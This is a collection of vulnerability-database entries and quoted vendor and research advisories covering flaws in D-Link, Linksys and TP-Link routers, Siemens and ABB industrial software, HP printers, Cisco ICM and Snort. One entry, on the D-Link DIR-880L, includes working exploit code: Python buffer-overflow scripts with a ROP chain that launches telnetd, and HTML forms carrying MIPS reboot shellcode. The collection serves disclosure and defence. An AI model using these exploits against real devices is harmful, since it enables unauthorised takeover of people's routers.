|
var-202411-1650
|
D-LINK DI-8400 v16.07.26A1 was discovered to contain multiple remote command execution (RCE) vulnerabilities in the msp_info_htm function via the flag and cmd parameters. D-LINK DI-8400 is a router device from D-Link, USA, used for home and small business network connections. Remote attackers can exploit this vulnerability to execute arbitrary commands |
|
var-202411-1640
|
Linksys E3000 is a powerful dual-band Wireless-N router from Linksys, an American company.
There is a security vulnerability in diag_ping_start of Linksys E3000. A remote attacker can use this vulnerability to submit special requests and execute arbitrary commands in the context of the application. |
|
var-202411-0543
|
A vulnerability has been identified in SIMATIC S7-PLCSIM V16 (All versions), SIMATIC S7-PLCSIM V17 (All versions), SIMATIC STEP 7 Safety V16 (All versions), SIMATIC STEP 7 Safety V17 (All versions < V17 Update 8), SIMATIC STEP 7 Safety V18 (All versions < V18 Update 5), SIMATIC STEP 7 V16 (All versions), SIMATIC STEP 7 V17 (All versions < V17 Update 8), SIMATIC STEP 7 V18 (All versions < V18 Update 5), SIMATIC WinCC Unified V16 (All versions), SIMATIC WinCC Unified V17 (All versions < V17 Update 8), SIMATIC WinCC Unified V18 (All versions < V18 Update 5), SIMATIC WinCC V16 (All versions), SIMATIC WinCC V17 (All versions < V17 Update 8), SIMATIC WinCC V18 (All versions < V18 Update 5), SIMOCODE ES V16 (All versions), SIMOCODE ES V17 (All versions < V17 Update 8), SIMOCODE ES V18 (All versions), SIMOTION SCOUT TIA V5.4 SP1 (All versions), SIMOTION SCOUT TIA V5.4 SP3 (All versions), SIMOTION SCOUT TIA V5.5 SP1 (All versions), SINAMICS Startdrive V16 (All versions), SINAMICS Startdrive V17 (All versions), SINAMICS Startdrive V18 (All versions), SIRIUS Safety ES V17 (All versions < V17 Update 8), SIRIUS Safety ES V18 (All versions), SIRIUS Soft Starter ES V17 (All versions < V17 Update 8), SIRIUS Soft Starter ES V18 (All versions), TIA Portal Cloud V16 (All versions), TIA Portal Cloud V17 (All versions < V4.6.0.1), TIA Portal Cloud V18 (All versions < V4.6.1.0). Affected products do not properly sanitize user-controllable input when parsing user settings. This could allow an attacker to cause a type confusion and execute arbitrary code within the affected application. SIMATIC S7-PLCSIM simulates S7-1200, S7-1500 and some other PLC derivatives, shipped as part of SIMATIC STEP 7. SIMATIC step7 (TIA Portal) is an engineering software for configuring and programming SIMATIC controllers. simmocode ES is the core software package for simmocode pro configuration, commissioning, operation and diagnostics. SINAMICS Startdrive commissioning software is the engineering tool for integrating SINAMICS drives in TIA Portal. TIA Portal is a PC software that provides the full range of Siemens digital automation services from digital planning and integrated engineering to transparent operation. TIA Portal Cloud makes it possible to use the main package and main option package of TIA Portal in a virtualized environment |
|
var-201507-0645
|
D-Link is an internationally renowned provider of network equipment and solutions, including a variety of router equipment. D-Link is a D-Link company dedicated to the research, development, production and marketing of local area networks, broadband networks, wireless networks, voice networks and related network equipment.
A buffer overflow vulnerability exists in D-Link due to the program not performing correct boundary checks on user-submitted input. An attacker could use this vulnerability to execute arbitrary code in the context of an affected device and may also cause a denial of service. The following products are affected: D-Link Ethernet Broadband Router. Failed exploits may result in denial-of-service conditions. ## Advisory Information
Title: DIR-880L Buffer overflows in authenticatio and HNAP functionalities.
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None
Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060,
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061
However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.
## Product Description
DIR-880L -- Wireless AC1900 Dual-Band Gigabit Cloud Router. Mainly used by home and small offices.
## Vulnerabilities Summary
Have come across 2 security issues in DIR-880 firmware which allows an attacker to exploit buffer overflows in authentication and HNAP functionalities. first 2 of the buffer overflows in auth and HNAP can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. Also this exploit needs to be run atleast 200-500 times to bypass ASLR on ARM based devices.
## Details
Buffer overflow in HNAP
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
#Currently the address of exit function in libraray used as $PC
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + "\x10\xd0\xff\x76"+"B"*220
buf+= "\r\n" + "1\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------
Buffer overflow in auth
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
buf = "GET /webfa_authentication.cgi?id="
buf+="A"*408
buf+="\x44\x77\xf9\x76" # Retn pointer (ROP1) which loads r0-r6 and pc with values from stack
buf+="sh;#"+"CCCC"+"DDDD" #R0-R2
buf+="\x70\x82\xFD\x76"+"FFFF"+"GGGG" #R3 with system address and R4 and R5 with junk values
buf+="HHHH"+"\xF8\xD0\xF9\x76" # R6 with crap and PC address loaded with ROP 2 address
buf+="telnetd%20-p%209092;#" #actual payload which starts telnetd
buf+="C"+"D"*25+"E"*25 + "A"*80 # 131 bytes of extra payload left
buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------
## Report Timeline
* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.
## Credit
This vulnerability was found by Samuel Huntley (samhuntley84@gmail.com)
.
## Details
# Ping buffer oberflow
----------------------------------------------------------------------------------------------------------------------
<!-- reboot shellcode Big Endian MIPS-->
<html>
<body>
<form id="form5" name="form5" enctype="text/plain" method="post" action="http://192.168.100.14/ping_response.cgi">
<input type="text" id="html_response_page" name="html_response_page" value="tools_vct.asp&html_response_return_page=tools_vct.asp&action=ping_test&ping_ipaddr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%2A%BF%99%F4%2A%C1%1C%30AAAA%2A%BF%8F%04CCCC%2A%BC%9B%9CEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE%2A%BC%BD%90FFFFFFFFFFFFFFFF%3c%06%43%21%34%c6%fe%dc%3c%05%28%12%34%a5%19%69%3c%04%fe%e1%34%84%de%ad%24%02%0f%f8%01%01%01%0c&ping=ping"></td>
<input type=submit value="submit">
</form>
</body>
</html>
----------------------------------------------------------------------------------------------------------------------
# Send email buffer overflow
----------------------------------------------------------------------------------------------------------------------
<!-- reboot shellcode Big Endian MIPS-->
<html>
<body>
<form id="form5" name="form5" enctype="text/plain" method="post" action="http://192.168.100.14/send_log_email.cgi">
<input type="text" id="auth_active" name="auth_active" value="testy)%3b&log_email_from=test@test.com&auth_acname=sweetBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBIIII%2A%BF%99%F4%2A%C1%1C%30FFFF%2A%BF%8F%04DDDDCCCCBBBB%2A%BC%9B%9CCCC&auth_passwd=test1)&log_email_server=mail.google.com%3breboat%3b%23%23testAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAA&log_email_port=25&log_email_sender=ses@gmail.com%3brebolt%3b%23%23teYYYY%2A%BC%BD%90AAAAAAAAAAAAtest%3c%06%43%21%34%c6%fe%dc%3c%05%28%12%34%a5%19%69%3c%04%fe%e1%34%84%de%ad%24%02%0f%f8%01%01%01%0cAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAA&model_name=test&action=send_log_email&test=test"></td>
<input type=submit value="submit">
</form>
</body>
</html>
----------------------------------------------------------------------------------------------------------------------
## Report Timeline
* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline |
|
var-201807-0341
|
ABB Panel Builder 800 all versions has an improper input validation vulnerability which may allow an attacker to insert and run arbitrary code on a computer where the affected product is used. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the handling of the IpAddress parameters of the ABB BeMMS OPC Driver. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code under the context of an administrator. ABB Panel Builder 800 is a web-based HMI (Human Machine Interface) system from ABB, Switzerland. Failed exploit attempts will result in denial-of-service conditions |
|
var-202411-1422
|
D-Link DI-8200 16.07.26A1 is vulnerable to remote command execution in the msp_info_htm function via the flag parameter and cmd parameter. D-Link Systems, Inc. of di-8200 Firmware contains a command injection vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. D-Link DI-8200 is an enterprise-class router from D-Link, a Chinese company. No detailed vulnerability details are currently available |
|
var-202411-1539
|
D-LINK DI-8003 v16.07.26A1 was discovered to contain a buffer overflow via the host_ip parameter in the ipsec_road_asp function. D-Link Systems, Inc. of di-8003 An out-of-bounds write vulnerability exists in firmware.Service operation interruption (DoS) It may be in a state. D-LINK DI-8003 is a router product produced by D-LINK. No detailed vulnerability details are currently provided |
|
var-201103-0371
|
SAP Crystal Reports Server is a complete reporting solution for creating, managing, and delivering reports through the web or embedded enterprise applications. There is an input validation error in SAP Crystal Reports Server. The input passed to aa-open-inlist.jsp via the \"url\", \"sWindow\", \"BEGIN_DATE\", \"END_DATE\", \"CURRENT_DATE\" and \"CURRENT_SLICE\" parameters is missing before returning to the user. Filtering can lead to cross-site scripting attacks |
|
var-202410-3364
|
In TP-Link TL-WDR7660 v1.0, the guestRuleJsonToBin function handles the parameter string name without checking it, which can lead to stack overflow vulnerabilities. TP-LINK TL-WDR7660 is a Gigabit router from TP-LINK of China.
TP-LINK TL-WDR7660 version 1.0 has a buffer overflow vulnerability. Attackers can exploit this vulnerability to execute arbitrary code on the system or cause a denial of service |
|
var-202411-1441
|
D-LINK DI-8003 v16.07.16A1 was discovered to contain a buffer overflow via the notify parameter in the arp_sys_asp function. D-Link Systems, Inc. of di-8003 An out-of-bounds write vulnerability exists in firmware.Service operation interruption (DoS) It may be in a state. D-Link DI-8400 is a wireless router from D-Link, a Chinese company.
D-Link DI-8400 arp_sys_asp has a buffer overflow vulnerability, which can be exploited by remote attackers to submit special requests, causing the service program to crash or execute arbitrary code in the context of the application |
|
var-201112-0173
|
The default configuration of the HP CM8060 Color MFP with Edgeline; Color LaserJet 3xxx, 4xxx, 5550, 9500, CMxxxx, CPxxxx, and Enterprise CPxxxx; Digital Sender 9200c and 9250c; LaserJet 4xxx, 5200, 90xx, Mxxxx, and Pxxxx; and LaserJet Enterprise 500 color M551, 600, M4555 MFP, and P3015 enables the Remote Firmware Update (RFU) setting, which allows remote attackers to execute arbitrary code by using a session on TCP port 9100 to upload a crafted firmware update. A vulnerability in certain Hewlett-Packard devices could allow a remote attacker to install unauthorized firmware on an affected system. HP Printers and Digital Senders are prone to a security-bypass vulnerability. The unauthorized firmware could also cause a Denial of Service to the device. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c03102449
Version: 3
HPSBPI02728 SSRT100692 rev.3 - Certain HP Printers and HP Digital Senders, Remote Firmware Update Enabled by Default
NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
Release Date: 2011-11-30
Last Updated: 2012-01-09
Potential Security Impact: Remote firmware update enabled by default
Source: Hewlett-Packard Company, HP Software Security Response Team
VULNERABILITY SUMMARY
A potential security vulnerability has been identified with certain HP printers and HP digital senders.
References: CVE-2011-4161
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
Please refer to the RESOLUTION
below for a list of impacted products. A firmware update can be sent remotely to port 9100 without authentication.
RESOLUTION
The following steps can be taken to avoid unauthorized firmware updates:
Update the firmware to a version that implements code signing
Disable the Remote Firmware Update
The code signing feature verifies that firmware updates are properly signed. This will prevent the installation of invalid firmware updates.
Note: A firmware update may be required to allow the RFU to be disabled or to implement code signing. Code signing is not available on all the affected devices. Please refer to the following table. Firmware updates for any of the products can also be downloaded as follows.
Browse to www.hp.com/go/support then:
Select "Drivers & Software"
Enter the product name listed in the table above into the search field
Click on "Search"
If the search returns a list of products click on the appropriate product
Under "Select operating system" click on "Cross operating system (BIOS, Firmware, Diagnostics, etc.)"
If the "Cross operating system ..." link is not present, select any Windows operating system from the list.
Select the appropriate firmware update under "Firmware"
HISTORY
Version:1 (rev.1) - 30 November 2011 Initial release
Version:2 (rev.2) - 23 December 2011 Code signing firmware available
Version:3 (rev.3) - 9 January 2012 Combined tables
Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.
Support: For issues about implementing the recommendations of this Security Bulletin, contact normal HP Services support channel. For other issues about the content of this Security Bulletin, send e-mail to security-alert@hp.com.
Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com
Subscribe: To initiate a subscription to receive future HP Security Bulletin alerts via Email: http://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins
Security Bulletin List: A list of HP Security Bulletins, updated periodically, is contained in HP Security Notice HPSN-2011-001: https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c02964430
Security Bulletin Archive: A list of recently released Security Bulletins is available here: http://h20566.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/
Software Product Category: The Software Product Category is represented in the title by the two characters following HPSB.
3C = 3COM
3P = 3rd Party Software
GN = HP General Software
HF = HP Hardware and Firmware
MP = MPE/iX
MU = Multi-Platform Software
NS = NonStop Servers
OV = OpenVMS
PI = Printing and Imaging
PV = ProCurve
ST = Storage Software
TU = Tru64 UNIX
UX = HP-UX
Copyright 2012 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits;damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)
iEYEARECAAYFAk8KykcACgkQ4B86/C0qfVl09ACg1m3AQDGq/VzvFgb4j6bj3fJU
VnkAoO9oPSjyrVB07qLIBpcXALxLRRRg
=mXzy
-----END PGP SIGNATURE-----
. However, the information is applicable to all the devices listed above. This revision, version 6, of the Security Bulletin announces the availability of firmware updates for additional devices |
|
var-201011-0225
|
Multiple stack-based buffer overflows in agent.exe in Setup Manager in Cisco Intelligent Contact Manager (ICM) before 7.0 allow remote attackers to execute arbitrary code via a long parameter in a (1) HandleUpgradeAll, (2) AgentUpgrade, (3) HandleQueryNodeInfoReq, or (4) HandleUpgradeTrace TCP packet, aka Bug IDs CSCti45698, CSCti45715, CSCti45726, and CSCti46164. The problem is Bug ID CSCti45698 , CSCti45715 , CSCti45726 ,and CSCti46164 It is a problem.By a third party (1) HandleUpgradeAll , (2) AgentUpgrade , (3) HandleQueryNodeInfoReq , (4) HandleUpgradeTrace TCP Arbitrary code could be executed via overly long parameters in the packet. Authentication is not required to exploit this vulnerability. The flaw exists within the Agent.exe component which listens by default on TCP port 40078. When processing the HandleUpgradeAll packet type an unchecked copy of user supplied data is performed into a stack-based buffer of a controlled size. Successful exploitation of this vulnerability leads to remote code execution under the context of the SYSTEM user. This may result in a compromise of the underlying system. Failed attempts may lead to a denial-of-service condition. ----------------------------------------------------------------------
Secure your corporate defenses and reduce complexity in handling vulnerability threats with the new Secunia Vulnerability Intelligence Manager (VIM) Beta.
Join the beta:
http://secunia.com/products/corporate/vim/
----------------------------------------------------------------------
TITLE:
Cisco Intelligent Contact Manager Setup Manager "Agent.exe" Multiple
Vulnerabilities
SECUNIA ADVISORY ID:
SA42146
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/42146/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=42146
RELEASE DATE:
2010-11-09
DISCUSS ADVISORY:
http://secunia.com/advisories/42146/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/42146/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=42146
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Some vulnerabilities have been reported in Cisco Intelligent Contact
Manager Setup Manager, which can be exploited by malicious people to
compromise a vulnerable system.
1) A boundary error within Agent.exe when handling the
"HandleUpgradeAll" packet can be exploited to cause a stack-based
buffer overflow via a specially crafted request sent to e.g. TCP port
40078.
2) A boundary error within Agent.exe when handling the "AgentUpgrade"
packet can be exploited to cause a stack-based buffer overflow via a
specially crafted request sent to e.g. TCP port 40078.
3) A boundary error within Agent.exe when handling the
"HandleQueryNodeInfoReq" packet can be exploited to cause a
stack-based buffer overflow via a specially crafted request sent to
e.g. TCP port 40078.
4) A boundary error within Agent.exe when handling the
"HandleUpgradeTrace" packet can be exploited to cause a stack-based
buffer overflow via a specially crafted request sent to e.g. TCP port
40078.
Please see the vendor's advisory for the list of affected versions.
SOLUTION:
The vendor recommends to delete the Agent.exe file or restrict
network access to the affected service.
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
PROVIDED AND/OR DISCOVERED BY:
sb, reported via ZDI.
ORIGINAL ADVISORY:
Cisco:
http://tools.cisco.com/security/center/viewAlert.x?alertId=21726
ZDI:
http://www.zerodayinitiative.com/advisories/ZDI-10-232/
http://www.zerodayinitiative.com/advisories/ZDI-10-233/
http://www.zerodayinitiative.com/advisories/ZDI-10-234/
http://www.zerodayinitiative.com/advisories/ZDI-10-235/
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/products/corporate/EVM/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
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Definitions: (Criticality, Where etc.)
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Please Note:
Secunia recommends that you verify all advisories you receive by
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Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
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----------------------------------------------------------------------
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----------------------------------------------------------------------
. ZDI-10-232: Cisco ICM Setup Manager Agent.exe HandleUpgradeAll Remote Code Execution Vulnerability
http://www.zerodayinitiative.com/advisories/ZDI-10-232
November 7, 2010
-- CVE ID:
CVE-2010-3040
-- CVSS:
10, (AV:N/AC:L/Au:N/C:C/I:C/A:C)
-- Affected Vendors:
Cisco
-- Affected Products:
Cisco Unified Intelligent Contact Management
-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 9915.
-- Vendor Response:
Cisco has issued an update to correct this vulnerability. More
details can be found at:
http://tools.cisco.com/security/center/viewAlert.x?alertId=21726
-- Disclosure Timeline:
2010-06-01 - Vulnerability reported to vendor
2010-11-07 - Coordinated public release of advisory
-- Credit:
This vulnerability was discovered by:
* sb
-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.
Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:
http://www.zerodayinitiative.com
The ZDI is unique in how the acquired vulnerability information is
used. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.
Our vulnerability disclosure policy is available online at:
http://www.zerodayinitiative.com/advisories/disclosure_policy/
Follow the ZDI on Twitter:
http://twitter.com/thezdi
|
|
var-202407-0046
|
mySCADA myPRO
uses a hard-coded password which could allow an attacker to remotely execute code on the affected device. Authentication is not required to exploit this vulnerability.The specific flaw exists within the telnet service, which listens on TCP port 5005 by default. The issue results from the use of hard-coded credentials. mySCADA myPRO is an application software. myPRO is a professional HMI/SCADA system designed primarily for visualization and control of industrial processes |
|
var-202410-2013
|
In mm_GetMobileIdIndexForNsUpdate of mm_GmmPduCodec.c, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Google of Android Exists in an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. Google Pixel is a smartphone produced by Google in the United States.
Google Pixel has a buffer overflow vulnerability. The vulnerability is caused by incorrect boundary checking in mm_GetMobileIdIndexForNsUpdate of mm_GmmPduCodec.c. Attackers can exploit this vulnerability to cause out-of-bounds write |
|
var-201105-0156
|
Multiple buffer overflows in the ISSymbol ActiveX control in ISSymbol.ocx 61.6.0.0 and 301.1009.2904.0 in the ISSymbol virtual machine, as distributed in Advantech Studio 6.1 SP6 61.6.01.05, InduSoft Web Studio before 7.0+SP1, and InduSoft Thin Client 7.0, allow remote attackers to execute arbitrary code via a long (1) InternationalOrder, (2) InternationalSeparator, or (3) LogFileName property value; or (4) a long bstrFileName argument to the OpenScreen method. Overly long to method bstrFileName argument. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Indusoft Thin Client. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within ISSymbol.ocx ActiveX component. When an overly large string is passed as the 'InternationalOrder' parameter, a heap overflow occurs. This vulnerability can be leveraged to execute code under the context of the user running the browser. InduSoft Web Studio is a powerful and complete graphics control software that includes the various functional modules required to develop Human Machine Interface (HMI), Management Control, Data Acquisition System (SCADA) and embedded control. The Advantech Studio ISSymbol ActiveX control handles boundary errors in the \"InternationalSeparator\" property. The Advantech Studio ISSymbol ActiveX control is prone to multiple buffer-overflow vulnerabilities because the application fails to perform adequate boundary checks on user-supplied input. Failed exploit attempts will likely result in denial-of-service conditions.
Advantech Studio 6.1 SP6 Build 61.6.01.05 is vulnerable; other versions may also be affected. There are multiple buffer overflow vulnerabilities in InduSoft ISSymbol ActiveX control 6.1 SP6 Build 61.6.01.05 (ISSymbol.ocx 61.6.0.0) and other versions. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
ZDI-12-155 : InduSoft Thin Client ISSymbol InternationalOrder Remote Code
Execution Vulnerability
http://www.zerodayinitiative.com/advisories/ZDI-12-155
August 22, 2012
- -- CVE ID:
CVE-2011-0340
- -- CVSS:
7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P
- -- Affected Vendors:
Indusoft
- -- Affected Products:
Indusoft WebStudio
- -- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 12505.
- -- Vendor Response:
Indusoft has issued an update to correct this vulnerability. More details
can be found at:
http://www.indusoft.com/hotfixes/hotfixes.php
- -- Disclosure Timeline:
2011-10-28 - Vulnerability reported to vendor
2012-08-22 - Coordinated public release of advisory
- -- Credit:
This vulnerability was discovered by:
* Alexander Gavrun
- -- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.
Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:
http://www.zerodayinitiative.com
The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.
Our vulnerability disclosure policy is available online at:
http://www.zerodayinitiative.com/advisories/disclosure_policy/
Follow the ZDI on Twitter:
http://twitter.com/thezdi
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|
|
var-200702-0378
|
Stack-based buffer overflow in the DCE/RPC preprocessor in Snort before 2.6.1.3, and 2.7 before beta 2; and Sourcefire Intrusion Sensor; allows remote attackers to execute arbitrary code via crafted SMB traffic. Snort IDS and Sourcefire Intrusion Sensor are prone to a stack-based buffer-overflow vulnerability because the network intrusion detection (NID) systems fail to handle specially crafted 'DCE' and 'RPC' network packets.
An attacker can exploit this issue to execute malicious code in the context of the user running the affected application. Failed attempts will likely cause these applications to crash. The software provides functions such as packet sniffing, packet analysis, and packet inspection.
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
National Cyber Alert System
Technical Cyber Security Alert TA07-050A
Sourcefire Snort DCE/RPC Preprocessor Buffer Overflow
Original release date: February 19, 2007
Last revised: --
Source: US-CERT
Systems Affected
* Snort 2.6.1, 2.6.1.1, and 2.6.1.2
* Snort 2.7.0 beta 1
* Sourcefire Intrusion Sensors version 4.1.x, 4.5.x, and 4.6x with
SEUs prior to SEU 64
* Sourcefire Intrusion Sensors for Crossbeam version 4.1.x, 4.5.x,
and 4.6x with SEUs prior to SEU 64
Other products that use Snort or Snort components may be affected.
I. The DCE/RPC
preprocessor reassembles fragmented SMB and DCE/RPC traffic before
passing data to the Snort rules.
The vulnerable code does not properly reassemble certain types of
SMB and DCE/RPC packets. An attacker could exploit this
vulnerability by sending a specially crafted TCP packet to a host
or network monitored by Snort. The DCE/RPC preprocessor is enabled
by default, and it is not necessary for an attacker to complete a
TCP handshake.
US-CERT is tracking this vulnerability as VU#196240. This
vulnerability has been assigned CVE number CVE-2006-5276. Further
information is available in advisories from Sourcefire and ISS.
II.
III. Solution
Upgrade
Snort 2.6.1.3 is available from the Snort download site. Sourcefire
customers should visit the Sourcefire Support Login site.
Disable the DCE/RPC Preprocessor
To disable the DCE/RPC preprocessor, comment out the line that loads
the preprocessor in the Snort configuration file (typically
/etc/snort.conf on UNIX and Linux systems):
[/etc/snort.conf]
...
#preprocessor dcerpc...
Restart Snort for the change to take effect.
Disabling the preprocessor will prevent Snort from reassembling
fragmented SMB and DCE/RPC packets. This may allow attacks to evade
the IDS.
IV. References
* US-CERT Vulnerability Note VU#196240 -
<http://www.kb.cert.org/vuls/id/196240>
* Sourcefire Advisory 2007-02-19 -
<http://www.snort.org/docs/advisory-2007-02-19.html>
* Sourcefire Support Login - <https://support.sourcefire.com/>
* Sourcefire Snort Release Notes for 2.6.1.3 -
<http://www.snort.org/docs/release_notes/release_notes_2613.txt>
* Snort downloads - <http://www.snort.org/dl/>
* DCE/RPC Preprocessor -
<http://www.snort.org/docs/snort_htmanuals/htmanual_261/node104.html>
* IBM Internet Security Systems Protection Advisory -
<http://iss.net/threats/257.html>
* CVE-2006-5276 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2006-5276>
____________________________________________________________________
The most recent version of this document can be found at:
<http://www.us-cert.gov/cas/techalerts/TA07-050A.html>
____________________________________________________________________
Feedback can be directed to US-CERT Technical Staff. Please send
email to <cert@cert.org> with "TA07-050A Feedback VU#196240" in the
subject.
____________________________________________________________________
For instructions on subscribing to or unsubscribing from this
mailing list, visit <http://www.us-cert.gov/cas/signup.html>.
____________________________________________________________________
Produced 2007 by US-CERT, a government organization.
Terms of use:
<http://www.us-cert.gov/legal.html>
____________________________________________________________________
Revision History
February 19, 2007: Initial Release
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. February 19, 2007
Summary:
